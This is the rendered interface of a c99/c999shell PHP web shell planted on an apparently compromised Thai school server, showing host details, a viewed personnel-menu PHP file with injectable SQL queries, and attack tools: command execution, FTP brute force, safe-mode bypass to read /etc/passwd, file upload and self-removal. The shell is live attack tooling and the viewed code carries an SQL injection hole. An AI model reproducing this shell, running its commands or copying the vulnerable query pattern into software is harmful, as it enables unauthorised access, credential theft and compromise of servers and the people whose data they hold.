!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Develop_person_depart/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu_From.php (6.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM personal_tb  WHERE Username='$Username'";
$result mysql_query($sql) ;
$rs mysql_fetch_array($result);
$row mysql_num_rows($result);
$sql "Select * From personal_tb  Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style11 {color: #0000FF; font-size: 14px; }
.style16 {font-size: 14px}
-->
</style>
<table width="807" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="807"><br><fieldset>
            <legend><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="style16"><a href="PersonalFrom.php" >หน้าหลัก</a></span></font><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"> </font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />ข้อมูลงานส่วนบุคคล</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="">
                <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></div>
                <table width="73%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  <tr>
                    <td height="43" bgcolor="#FFFFFF" ><div align="center">
                      <table width="97%" border="0" align="center" cellpadding="1" cellspacing="1">
                        <tr>
                          <td>&nbsp;</td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td width="86%"><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font><font face="Tahoma"><a href="AddFormA.php?Teacher_code=<? echo $rss["Teacher_code"]?>" class="d style16"> แบบบันทึกขออนุมัติไปราชการ</a></font></td>
                          <td width="14%">&nbsp;</td>
                        </tr>
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font> <font face="Tahoma"><a href="AddfromCar.php?Teacher_code=<? echo $rss["Teacher_code"]?>" class="style16"> แบบฟอร์มบันทึกขอใช้รถยนต์ </a></font></td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font><strong><font size="2" face="Tahoma"> </font></strong><font face="Tahoma"><a href="AddAbsent_01.php?Teacher_code=<? echo $rs["Teacher_code"]?>" class="d style16"> แบบฟอร์มบันทึกขอลาป่วย ลากิจ ลาคลอด</a></font></td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font><strong><font size="2" face="Tahoma"> </font></strong><font face="Tahoma"><a href="AddAbsent_01.php?Teacher_code=<? echo $rss["Teacher_code"]?>" class="d style16"> แบบฟอร์มบันทึกขอลากิจส่วนตัว</a> </font></td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font> <font face="Tahoma"><a href="AddAbsent_03.php?Teacher_code=<? echo $rss["Teacher_code"]?>" class="d style16"> แบบฟอร์มบันทึกขอลาพักผ่อน</a></font></td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font> <font face="Tahoma"><span class="style11"><a href="AddfromMan.php?Teacher_code=<? echo $rss["Teacher_code"]?>"> แบบฟอร์บันทึกขอใช้เงินตามแผน/โครงการ</a></span></font></td>
                          <td>&nbsp;</td>
                        </tr>
                        
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font> <font face="Tahoma"><a href="AddfromMan.php?Teacher_code=<? echo $rss["Teacher_code"]?>" class="d style16"> แบบฟอร์มบันทึกขอใช้วัสดุ</a></font></td>
                          <td>&nbsp;</td>
                        </tr>
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font><strong><font size="2" face="Tahoma"> </font></strong><font face="Tahoma"><a href="AbsentByYear.php?Teacher_code=<? echo $rss["Teacher_code"]?>" class="d style16"> แบบฟอร์มบันทึกขออนุมัติยืมเงินไปราชการ</a></font> </td>
                          <td>&nbsp;</td>
                        </tr>
                        
                        <tr>
                          <td><font size="2" face="Tahoma"><strong><img src="../picture/ico1.gif" width="22" height="22" align="absmiddle" /></strong></font><strong><font size="2" face="Tahoma"> </font></strong><font face="Tahoma"><a href="Show_profile.php?Teacher_code=<? echo $rss["Teacher_code"]?>" class="d style16"> แบบฟอร์มบันทึกรายงานการเดินทาง</a></font> </td>
                          <td>&nbsp;</td>
                        </tr>
                      </table>
                    </div></td>
                  </tr>
                </table>
                <br>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
        </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0137 ]--